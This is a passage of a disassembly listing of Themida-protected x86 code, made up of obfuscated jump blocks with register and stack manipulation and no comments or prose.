		add	ecx, 2
		jmp	loc_5727B0
; ---------------------------------------------------------------------------


loc_561037:				; CODE XREF: Themida_:0056EC94j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55FBC9
; ---------------------------------------------------------------------------


loc_56104C:				; CODE XREF: Themida_:00564E0Aj
		pop	edi
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	20A73B4h
		mov	edi, [esp]
		push	ecx
		jmp	loc_56904A
; ---------------------------------------------------------------------------


loc_561062:				; CODE XREF: Themida_:0056BA48j
		add	esp, 4
		jmp	loc_5716D4
; ---------------------------------------------------------------------------


loc_56106D:				; CODE XREF: Themida_:0056EDD5j
		pop	ebx
		push	ebx
		mov	ebx, 4C373F4Ah
		shl	ebx, 4
		jmp	loc_56FA80
; ---------------------------------------------------------------------------


loc_56107C:				; CODE XREF: Themida_:00569B24j
		mov	edx, 38134474h
		not	edx
		add	edx, 26BF504Ah
		xor	edx, 71CD7ACCh
		add	edx, 0D470B1D3h
		sub	ebx, edx
		pop	edx
		push	eax
		mov	eax, 485907CFh
		xor	eax, 7EA50553h
		sub	eax, 35C66272h
		xor	eax, 420D2EF4h
		shl	eax, 5
		shr	eax, 2
		push	edx
		jmp	loc_55FA2C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_563F91
; ---------------------------------------------------------------------------


loc_5610C2:				; CODE XREF: Themida_:0056FA2Bj
		mov	[esp], ecx
		neg	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_56F8FC
; ---------------------------------------------------------------------------


loc_5610D0:				; CODE XREF: Themida_:0056593Aj
		sub	eax, 12C8485Fh
		add	eax, ebx
		add	eax, 12C8485Fh
		mov	ebx, [esp]
		push	ebp
		jmp	loc_563610
; ---------------------------------------------------------------------------


loc_5610E5:				; CODE XREF: Themida_:0056E423j
		mov	ebx, 535E7B3Eh
		sub	edi, ebx
		pop	ebx
		jmp	loc_56E345
; ---------------------------------------------------------------------------


loc_5610F2:				; CODE XREF: Themida_:00571572j
		add	edx, ecx
		sub	edx, 376556E2h
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_570501
; ---------------------------------------------------------------------------


loc_56110B:				; CODE XREF: Themida_:0056C14Fj
		add	esi, eax
		sub	esi, 3FAC60CBh
		pop	eax
		jmp	loc_56F465
; ---------------------------------------------------------------------------


loc_561119:				; CODE XREF: Themida_:00564FB1j
		add	edx, 27C5314Bh
		add	edx, 4F8F0392h
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, 2
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_564EDC
; ---------------------------------------------------------------------------


loc_561140:				; CODE XREF: Themida_:0056E82Fj
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 4
		push	ebx
		jmp	loc_55FC8D
; ---------------------------------------------------------------------------


loc_561154:				; CODE XREF: Themida_:00560A1Dj
		pop	edx
		pop	eax
		add	al, 0CAh
		add	al, 4Bh
		add	al, bh
		sub	al, 4Bh
		push	ecx
		jmp	loc_56FC7E
; ---------------------------------------------------------------------------


loc_561164:				; CODE XREF: Themida_:005656A1j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 492A34D3h
		sub	edx, 0EDD38h
		jmp	loc_562D92
; ---------------------------------------------------------------------------


loc_56117D:				; CODE XREF: Themida_:005641C3j
		xor	edx, 0C577B7E4h
		jmp	loc_56E79A
; ---------------------------------------------------------------------------


loc_561188:				; CODE XREF: Themida_:00561815j
		sub	edi, esi
		pop	esi
		sub	edi, 0E4E7E1C0h
		jmp	loc_55FA77
; ---------------------------------------------------------------------------


loc_561196:				; CODE XREF: Themida_:0056FC55j
		shr	edx, 5
		jmp	loc_573B63
; ---------------------------------------------------------------------------


loc_56119E:				; CODE XREF: Themida_:00571040j
		sub	edi, ebp
		pop	ebp
		add	eax, 333B74EBh
		add	eax, edi
		jmp	loc_56AE69
; ---------------------------------------------------------------------------


loc_5611AD:				; CODE XREF: Themida_:0056E914j
		sub	eax, ebp
		xchg	eax, ebp
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_561576
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	4A6Ch
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_56F33F
; ---------------------------------------------------------------------------


loc_5611CE:				; CODE XREF: Themida_:0056E818j
		shr	ebx, 7
		jmp	loc_56F77F
; ---------------------------------------------------------------------------


loc_5611D6:				; CODE XREF: Themida_:0056BE06j
		mov	ebx, 7156D4C7h
		add	eax, ebx
		pop	ebx
		add	eax, 3CE45BA4h
		inc	eax
		push	eax
		not	dword ptr [esp]
		jmp	loc_573350
; ---------------------------------------------------------------------------


loc_5611ED:				; CODE XREF: Themida_:0056DA16j
		sub	ebp, edi
		jmp	loc_5709FA
; ---------------------------------------------------------------------------


loc_5611F4:				; CODE XREF: Themida_:0056CE26j
		add	[esp+4], edi
		sub	dword ptr [esp+4], 1E9350E5h
		pop	edi
		jmp	loc_563F3D
; ---------------------------------------------------------------------------


loc_561206:				; CODE XREF: Themida_:0056B906j
		xor	[esp], ebx
		jmp	loc_56219E
; ---------------------------------------------------------------------------


loc_56120E:				; CODE XREF: Themida_:0056CA65j
		xor	ecx, 2A4B0B89h
		pop	ebp
		xor	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	ebx, 76F85CF8h
		add	ebx, 66760650h
		jmp	loc_572687
; ---------------------------------------------------------------------------


loc_56122F:				; CODE XREF: Themida_:00568AAFj
		shr	ebp, 2
		xor	ebp, 1E6FDEAEh
		sub	ecx, ebp
		pop	ebp
		add	ecx, 808D77CCh
		mov	ebp, ecx
		pop	ecx
		shl	ebp, 5
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56F3C3
; ---------------------------------------------------------------------------


loc_561255:				; CODE XREF: Themida_:0057024Cj
		add	bl, dh
		pop	edx
		push	5089h
		mov	[esp], ecx
		jmp	loc_562F22
; ---------------------------------------------------------------------------


loc_561265:				; CODE XREF: Themida_:005632DBj
		mov	eax, 657C1F81h
		sub	[esp+4], eax
		pop	eax
		add	dword ptr [esp], 2F4168A6h
		sub	[esp], eax
		jmp	loc_566B4E
; ---------------------------------------------------------------------------


loc_56127E:				; CODE XREF: Themida_:00561739j
		add	edi, esi
		jmp	loc_56F384
; ---------------------------------------------------------------------------


loc_561285:				; CODE XREF: Themida_:0056391Ej
		pop	eax
		sub	bl, ch
		add	bl, 0CDh
		jmp	loc_564B02
; ---------------------------------------------------------------------------


loc_561290:				; CODE XREF: Themida_:00567680j
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_568A64
; ---------------------------------------------------------------------------


loc_56129B:				; CODE XREF: Themida_:0056C1E0j
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_573940
; ---------------------------------------------------------------------------


loc_5612A7:				; CODE XREF: Themida_:00566CC9j
		mov	dl, 31h
		add	bl, 94h
		add	bl, dl
		sub	bl, 94h
		pop	dx
		mov	ax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		sub	bl, 0A9h
		push	edx
		mov	dh, 0D7h
		dec	dh
		shr	dh, 4
		xor	dh, 0B1h
		sub	dh, 3Eh
		sub	bl, dh
		pop	edx
		sub	bl, 0FEh
		sub	bl, al
		add	bl, 0FEh
		jmp	loc_560550
; ---------------------------------------------------------------------------


loc_5612E8:				; CODE XREF: Themida_:00572804j
		mov	eax, [esp]
		jmp	loc_5663E0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_567D7F
; ---------------------------------------------------------------------------


loc_5612F9:				; CODE XREF: Themida_:00571585j
		sub	ebx, 82D57EFh
		neg	ebx
		jmp	loc_5619CD
; ---------------------------------------------------------------------------


loc_561306:				; CODE XREF: Themida_:0056D9E8j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_57149D
; ---------------------------------------------------------------------------


loc_561314:				; CODE XREF: Themida_:00566FAFj
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, eax
		push	edi
		mov	edi, 6560084Ah
		sub	ebx, 2E2C36C3h
		sub	ebx, 32440A1h
		sub	ebx, edi
		add	ebx, 32440A1h
		jmp	loc_571C41
; ---------------------------------------------------------------------------


loc_56133E:				; CODE XREF: Themida_:0056D55Fj
		sub	bh, 0ABh
		sub	al, 0FDh
		jmp	loc_56201D
; ---------------------------------------------------------------------------


loc_561348:				; CODE XREF: Themida_:00571E37j
		sub	ecx, 25860C0Fh
		pop	esi
		inc	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_565684
; ---------------------------------------------------------------------------


loc_56135E:				; CODE XREF: Themida_:0057392Cj
		xor	edx, 5C4D4D58h
		dec	edx
		shl	edx, 5
		jmp	loc_564624
; ---------------------------------------------------------------------------


loc_56136D:				; CODE XREF: Themida_:0055FBBCj
		pop	eax
		mov	edi, [esp]
		push	2EBAh
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 7F409E8h
		push	eax
		mov	eax, 176E0213h
		add	ebp, 35070A5Fh
		add	ebp, 3D5E6732h
		add	ebp, eax
		sub	ebp, 3D5E6732h
		sub	ebp, 35070A5Fh
		jmp	loc_563277
; ---------------------------------------------------------------------------


loc_5613D6:				; CODE XREF: Themida_:0056852Ej
		sub	ebx, 58094B33h
		pop	eax
		jmp	loc_55F695
; ---------------------------------------------------------------------------


loc_5613E2:				; CODE XREF: Themida_:0056529Fj
		pop	dword ptr [esp]
		jmp	loc_5717AD
; ---------------------------------------------------------------------------


loc_5613EA:				; CODE XREF: Themida_:00565B8Fj
		pop	esp
		push	40A8h
		mov	[esp], ebx
		jmp	loc_5618F2
; ---------------------------------------------------------------------------


loc_5613F8:				; CODE XREF: Themida_:0056C020j
		pop	ecx
		jmp	loc_5634CE
; ---------------------------------------------------------------------------


loc_5613FE:				; CODE XREF: Themida_:0056AF14j
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_56CC0B
		push	dword ptr [edi+1Ch]
		jmp	loc_565247
; ---------------------------------------------------------------------------


loc_56141B:				; CODE XREF: Themida_:0056886Cj
		mov	edi, eax
		mov	ebp, edi
		jmp	loc_569299
; ---------------------------------------------------------------------------


loc_561424:				; CODE XREF: Themida_:00572455j
		sub	esi, 4E921959h
		jmp	loc_5609F9
; ---------------------------------------------------------------------------


loc_56142F:				; CODE XREF: Themida_:0056DB55j
		add	esp, 4
		add	ebp, 65521D6Bh
		add	ebp, edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 65521D6Bh
		jmp	loc_56B2F0
; ---------------------------------------------------------------------------


loc_56144A:				; CODE XREF: Themida_:0056037Dj
		add	esp, 4
		jmp	loc_56630E
; ---------------------------------------------------------------------------


loc_561452:				; CODE XREF: Themida_:0056AF2Bj
		shl	edi, 4
		add	edi, 9FFC712h
		xor	ebx, edi
		pop	edi
		jmp	loc_572EFE
; ---------------------------------------------------------------------------


loc_561463:				; CODE XREF: Themida_:0056DA6Ej
		xor	edx, eax
		jmp	loc_572ACD
; ---------------------------------------------------------------------------


loc_56146A:				; CODE XREF: Themida_:00570B9Dj
		popf
		jmp	locret_56CBA1
; ---------------------------------------------------------------------------


loc_561470:				; CODE XREF: Themida_:00570EB5j
		add	eax, 539A0924h
		add	eax, ecx
		sub	eax, 539A0924h
		sub	eax, 668273F9h
		jmp	loc_571ABF
; ---------------------------------------------------------------------------


loc_561486:				; CODE XREF: Themida_:0056F460j
		sub	eax, 0D37A4B2Ah
		sub	ebx, eax
		jmp	loc_56E412
; ---------------------------------------------------------------------------


loc_561492:				; CODE XREF: Themida_:0057135Fj
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		sub	ecx, 296132F9h
		jmp	loc_56E919
; ---------------------------------------------------------------------------


loc_5614AD:				; CODE XREF: Themida_:00560EDBj
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_5644BC
; ---------------------------------------------------------------------------


loc_5614B6:				; CODE XREF: Themida_:0056F171j
		add	esp, 2
		push	edx
		mov	dl, 0Eh
		not	dl
		shl	dl, 4
		xor	dl, 0F0h
		sub	dl, 0B4h
		add	bl, dl
		pop	edx
		sub	bl, 26h
		sub	bl, 0E4h
		add	bl, 46h
		add	bl, 55h
		jmp	loc_572240
; ---------------------------------------------------------------------------


loc_5614DB:				; CODE XREF: Themida_:00572013j
		pop	cx
		mov	dh, ah
		pop	eax
		sub	al, 47h
		sub	al, 57h
		jmp	loc_56F4C9
; ---------------------------------------------------------------------------


loc_5614E9:				; CODE XREF: Themida_:00568822j
		neg	ecx
		push	107Eh
		mov	[esp], ebx
		mov	ebx, 0C2C7C492h
		jmp	loc_55F7FB
; ---------------------------------------------------------------------------


loc_5614FD:				; CODE XREF: Themida_:0055F5E8j
		mov	eax, esp
		jmp	loc_572398
; ---------------------------------------------------------------------------


loc_561504:				; CODE XREF: Themida_:00572A14j
		add	edx, 0FFF15239h
		add	ecx, edx
		jmp	loc_56CFF4
; ---------------------------------------------------------------------------


loc_561511:				; CODE XREF: Themida_:00567972j
		add	ecx, ebx
		pop	ebx
		push	700Bh
		mov	[esp], edi
		jmp	loc_5618E6
; ---------------------------------------------------------------------------


loc_561521:				; CODE XREF: Themida_:00560BBEj
		mov	ebx, 1A810214h
		shr	ebx, 3
		and	ebx, 5576B78h
		jmp	loc_568204
; ---------------------------------------------------------------------------
		push	274Ch
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, 1C493B8Ch
		jmp	loc_5638CB
; ---------------------------------------------------------------------------


loc_56154E:				; CODE XREF: Themida_:00571E2Aj
		and	bh, 0C0h
		jmp	loc_565B24
; ---------------------------------------------------------------------------


loc_561556:				; CODE XREF: Themida_:00560EFEj
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	esp
		jmp	loc_55FBAF
; ---------------------------------------------------------------------------


loc_561576:				; CODE XREF: Themida_:005611B6j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_567B4F
; ---------------------------------------------------------------------------


loc_561588:				; CODE XREF: Themida_:005706D4j
		sub	esi, 6A415016h
		push	edi
		mov	edi, 0B3F974C7h
		add	esi, edi
		pop	edi
		mov	[edi+20h], esi
		jmp	loc_563DCE
; ---------------------------------------------------------------------------


loc_56159F:				; CODE XREF: Themida_:00570BFAj
		sub	esp, 4
		jmp	loc_5653F1
; ---------------------------------------------------------------------------


loc_5615AA:				; CODE XREF: Themida_:0056CF38j
		pop	dx
		jmp	loc_567616
; ---------------------------------------------------------------------------


loc_5615B1:				; CODE XREF: Themida_:0056FB3Aj
		mov	eax, 330FD0D8h
		sub	edi, eax
		mov	eax, [esp]
		jmp	loc_56A085
; ---------------------------------------------------------------------------


loc_5615C0:				; CODE XREF: Themida_:0056E7B5j
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56F724
; ---------------------------------------------------------------------------


loc_5615D0:				; CODE XREF: Themida_:0056DAA4j
		add	esp, 4
		push	48BFh
		jmp	loc_564D92
; ---------------------------------------------------------------------------


loc_5615E0:				; CODE XREF: Themida_:0057368Bj
		push	edi
		jmp	loc_568397
; ---------------------------------------------------------------------------


loc_5615E6:				; CODE XREF: Themida_:0056E731j
		mov	esp, [esp]
		jmp	loc_563E78
; ---------------------------------------------------------------------------


loc_5615EE:				; CODE XREF: Themida_:0056ABEAj
		mov	esi, 4
		jmp	loc_570120
; ---------------------------------------------------------------------------


loc_5615F8:				; CODE XREF: Themida_:00563A69j
		mov	[esp], bx
		push	eax
		jmp	loc_56EF30
; ---------------------------------------------------------------------------


loc_561602:				; CODE XREF: Themida_:0057399Ej
		mov	cl, 80h
		xor	cl, 28h
		sub	cl, 5Bh
		jmp	loc_562114
; ---------------------------------------------------------------------------


loc_56160F:				; CODE XREF: Themida_:00573187j
		mov	esp, [esp]
		add	dword ptr [esp], 7D66262Ah
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5725A3
; ---------------------------------------------------------------------------


loc_561628:				; CODE XREF: Themida_:0056D7FAj
		shr	bl, 8
		xor	bl, 1
		sub	al, bl
		jmp	loc_5688B1
; ---------------------------------------------------------------------------


loc_561635:				; CODE XREF: Themida_:0056E305j
		shl	ecx, 6
		or	ecx, 1DAA0BC0h
		neg	ecx
		sub	ecx, 0A210443Ch
		add	edi, ecx
		pop	ecx
		push	ebp
		push	2
		jmp	loc_56F5B3
; ---------------------------------------------------------------------------


loc_561654:				; CODE XREF: Themida_:005678D7j
		xor	al, cl
		jmp	loc_5716CD
; ---------------------------------------------------------------------------


loc_56165B:				; CODE XREF: Themida_:00568313j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		dec	edx
		xor	edx, 52275640h
		jmp	loc_56C80A
; ---------------------------------------------------------------------------


loc_561670:				; CODE XREF: Themida_:0056F58Aj
		push	37BBh
		mov	[esp], edi
		mov	edi, 7EE203Bh
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		push	edx
		jmp	loc_5662F5
; ---------------------------------------------------------------------------


loc_56168F:				; CODE XREF: Themida_:0056FBFFj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_56C631
; ---------------------------------------------------------------------------


loc_56169D:				; CODE XREF: Themida_:00565B1Fj
		add	[esp+4], esi
		pop	esi
		push	ebx
		mov	ebx, 41870E96h
		sub	[esp+4], ebx
		pop	ebx
		add	dword ptr [esp], 1B224CCEh
		jmp	loc_56DC5D
; ---------------------------------------------------------------------------


loc_5616B9:				; CODE XREF: Themida_:0057339Dj
		sub	al, 0ABh
		pop	ebx
		sub	al, bl
		jmp	loc_565413
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_564CCF
; ---------------------------------------------------------------------------


loc_5616CA:				; CODE XREF: Themida_:0056F0A1j
		add	ebp, esi
		pop	esi
		add	edi, 8650326h
		add	edi, ebp
		push	ebp
		push	edx
		push	65CB4C6Dh
		jmp	loc_563F5C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		push	688Bh
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		pop	edi
		push	edi
		jmp	loc_5637F3
; ---------------------------------------------------------------------------


loc_561703:				; CODE XREF: Themida_:005648BDj
		push	esi
		mov	esi, esp
		push	50D9h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 22B73714h
		jmp	loc_56516B
; ---------------------------------------------------------------------------


loc_56172A:				; CODE XREF: Themida_:005671EAj
		neg	ebx
		shr	ebx, 7
		dec	ebx
		xor	ebx, 7F64EE85h
		add	edi, ebx
		pop	ebx
		jmp	loc_56127E
; ---------------------------------------------------------------------------


loc_56173E:				; CODE XREF: Themida_:005605AFj
		pop	esp
		jmp	loc_569F8A
; ---------------------------------------------------------------------------


loc_561744:				; CODE XREF: Themida_:00568B5Ej
		add	edx, 7E3930A3h
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		push	444Bh
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_56FE59
; ---------------------------------------------------------------------------


loc_56175F:				; CODE XREF: Themida_:00564A9Cj
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_56AFDA
; ---------------------------------------------------------------------------


loc_561772:				; CODE XREF: Themida_:0056A004j
		add	eax, 4
		jmp	loc_567A4A
; ---------------------------------------------------------------------------


loc_56177C:				; CODE XREF: Themida_:0056364Aj
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	edx
		mov	edx, 1C8214ABh
		add	edx, 0E37DEB59h
		add	edi, edx
		jmp	loc_56E52F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		push	eax
		push	3D7F18ACh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_56E9A0
; ---------------------------------------------------------------------------


loc_5617D3:				; CODE XREF: Themida_:0056FDB9j
		mov	ch, al
		push	ebx
		mov	bl, ch
		mov	dh, bl
		pop	ebx
		pop	ecx
		mov	bh, dh
		jmp	loc_55F713
; ---------------------------------------------------------------------------


loc_5617E3:				; CODE XREF: Themida_:005621EEj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	ebx, [esp]
		jmp	loc_563681
; ---------------------------------------------------------------------------


loc_5617F2:				; CODE XREF: Themida_:0056BC51j
		pop	edx
		jmp	loc_570B60
; ---------------------------------------------------------------------------


loc_5617F8:				; CODE XREF: Themida_:00560587j
		push	ecx
		push	7412413Bh
		pop	ecx
		push	ecx
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, ecx
		pop	ecx
		xor	esi, ebp
		pop	ebp
		jmp	loc_561188
; ---------------------------------------------------------------------------


loc_56181A:				; CODE XREF: Themida_:0056991Fj
		add	ebx, ebp
		pop	ebp
		sub	ebx, eax
		push	edi
		mov	edi, 3C660603h
		shr	edi, 7
		xor	edi, 3DB34D3Ch
		sub	edi, 2538798Dh
		add	ebx, 6E95647Bh
		sub	ebx, edi
		sub	ebx, 6E95647Bh
		jmp	loc_569B22
; ---------------------------------------------------------------------------


loc_561847:				; CODE XREF: Themida_:0056A60Bj
		add	edx, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	2
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		jmp	loc_57052A
; ---------------------------------------------------------------------------


loc_561877:				; CODE XREF: Themida_:0056280Aj
		sub	ebx, 2BA770B3h
		push	3C9Bh
		mov	[esp], edx
		jmp	loc_564257
; ---------------------------------------------------------------------------


loc_56188A:				; CODE XREF: Themida_:005746FFj
		or	ebx, ecx
		pop	ecx
		neg	ebx
		push	ebp
		mov	ebp, 0A043D63Fh
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5636BD
; ---------------------------------------------------------------------------


loc_56189D:				; CODE XREF: Themida_:00568F11j
		push	eax
		mov	eax, 74B64D83h
		xor	esi, eax
		pop	eax
		sub	esi, 5183A86Fh
		mov	edx, esi
		pop	esi
		sub	edx, 41505190h
		push	eax
		mov	eax, 1
		sub	edx, 25B157CAh
		sub	edx, eax
		push	ebp
		jmp	loc_572A19
; ---------------------------------------------------------------------------


loc_5618C9:				; CODE XREF: Themida_:005702C6j
		dec	ebx
		push	esi
		mov	esi, 0C192871Fh
		xor	ebx, esi
		jmp	loc_56B7ED
; ---------------------------------------------------------------------------


loc_5618D7:				; CODE XREF: Themida_:005702EBj
		and	eax, edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		push	eax
		jmp	loc_56DDB5
; ---------------------------------------------------------------------------


loc_5618E6:				; CODE XREF: Themida_:0056151Cj
		mov	edi, 140C6EC8h
		sub	ecx, edi
		jmp	loc_5641C8
; ---------------------------------------------------------------------------


loc_5618F2:				; CODE XREF: Themida_:005613F3j
		push	1
		jmp	loc_56E689
; ---------------------------------------------------------------------------


loc_5618FC:				; CODE XREF: Themida_:00572CE4j
		mov	edx, 8921CD0Eh
		xor	eax, edx
		jmp	loc_5693E8
; ---------------------------------------------------------------------------


loc_561908:				; CODE XREF: Themida_:0057206Cj
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_56BCAD
		push	60ADh
		mov	[esp], ecx
		jmp	loc_564A6D
; ---------------------------------------------------------------------------


loc_561922:				; CODE XREF: Themida_:0056E3EDj
		mov	edi, 4EA6798Fh
		not	edi
		and	edi, 5BC95980h
		jmp	loc_571CCA
; ---------------------------------------------------------------------------


loc_561934:				; CODE XREF: Themida_:0056700Aj
		mov	ecx, 77D73B68h
		inc	ecx
		shr	ecx, 1
		jmp	loc_56913E
; ---------------------------------------------------------------------------


loc_561941:				; CODE XREF: Themida_:00562711j
		pop	dx
		jmp	loc_572006
; ---------------------------------------------------------------------------


loc_561948:				; CODE XREF: Themida_:0056452Cj
		pop	edi
		jmp	loc_56F37E
; ---------------------------------------------------------------------------


loc_56194E:				; CODE XREF: Themida_:0056FFC3j
		mov	edx, 638C75F5h
		shl	edx, 3
		xor	edx, 65E490D6h
		sub	ebp, edx
		pop	edx
		add	ebp, edi
		push	esi
		jmp	loc_566B68
; ---------------------------------------------------------------------------


loc_561967:				; CODE XREF: Themida_:0056A37Dj
		xor	ebp, 89A03948h
		sub	ecx, ebp
		pop	ebp
		sub	edx, 666077B1h
		sub	edx, ecx
		add	edx, 666077B1h
		pop	ecx
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5745D7
; ---------------------------------------------------------------------------


loc_561990:				; CODE XREF: Themida_:005622F2j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56C28C
; ---------------------------------------------------------------------------


loc_56199B:				; CODE XREF: Themida_:00571C0Dj
		mov	eax, 0FE99C74Dh
		sub	esi, 3DB94F6Eh
		sub	esi, eax
		add	esi, 3DB94F6Eh
		pop	eax
		add	ecx, esi
		jmp	loc_573C78
; ---------------------------------------------------------------------------


loc_5619B6:				; CODE XREF: Themida_:0056C3B0j
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_568AFA
; ---------------------------------------------------------------------------


loc_5619C2:				; CODE XREF: Themida_:0056F8D9j
		push	ecx
		mov	ecx, 174B4E29h
		jmp	loc_57455A
; ---------------------------------------------------------------------------


loc_5619CD:				; CODE XREF: Themida_:00561301j
		sub	ebx, 8A3DF8EEh
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_56C6BB
; ---------------------------------------------------------------------------


loc_5619E6:				; CODE XREF: Themida_:0056E2E7j
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_568526
; ---------------------------------------------------------------------------


loc_5619F3:				; CODE XREF: Themida_:00574116j
		add	esi, edx
		sub	esi, 38665DE9h
		mov	edx, [esp]
		add	esp, 4
		not	esi
		jmp	loc_56B5CB
; ---------------------------------------------------------------------------


loc_561A0B:				; CODE XREF: Themida_:005697F3j
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_561A27:				; CODE XREF: Themida_:00568C96j
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_563667
; ---------------------------------------------------------------------------


loc_561A35:				; CODE XREF: Themida_:0056F374j
		inc	edx
		xor	edx, 69B979ECh
		jmp	loc_55F7D3
; ---------------------------------------------------------------------------


loc_561A41:				; CODE XREF: Themida_:00569068j
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_56A20E
; ---------------------------------------------------------------------------


loc_561A4B:				; CODE XREF: Themida_:0056EBFCj
		mov	ebp, ebx
		pop	ebx
		add	esi, 61D9346Ch
		sub	esi, ebp
		sub	esi, 61D9346Ch
		jmp	loc_56F46C
; ---------------------------------------------------------------------------


loc_561A61:				; CODE XREF: Themida_:0056B609j
		pop	eax
		sub	ebx, edi
		sub	ebx, 27D14A35h
		jmp	loc_56C9CA
; ---------------------------------------------------------------------------


loc_561A6F:				; CODE XREF: Themida_:0055F8D0j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_560907
; ---------------------------------------------------------------------------


loc_561A7D:				; CODE XREF: Themida_:005622E4j
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		mov	cl, 0D7h
		mov	ah, 92h
		add	ah, cl
		pop	ecx
		push	ecx
		jmp	loc_570DD9
; ---------------------------------------------------------------------------


loc_561A94:				; CODE XREF: Themida_:0056360Bj
		add	eax, 2E166BBEh
		push	0A05h
		mov	[esp], esi
		push	ebx
		jmp	loc_5701ED
; ---------------------------------------------------------------------------


loc_561AA7:				; CODE XREF: Themida_:00560F9Fj
		sub	esi, 45225889h
		jmp	loc_56A704
; ---------------------------------------------------------------------------


loc_561AB2:				; CODE XREF: Themida_:0055FE2Ej
		or	esi, 75B53AF0h
		dec	esi
		sub	esi, 1F6E7996h
		neg	esi
		jmp	loc_5654CF
; ---------------------------------------------------------------------------


loc_561AC6:				; CODE XREF: Themida_:0056E16Ej
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_562739
; ---------------------------------------------------------------------------


loc_561AD9:				; CODE XREF: Themida_:00572BC2j
		mov	eax, edi
		pop	edi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 7F8D0ADFh
		jmp	loc_565160
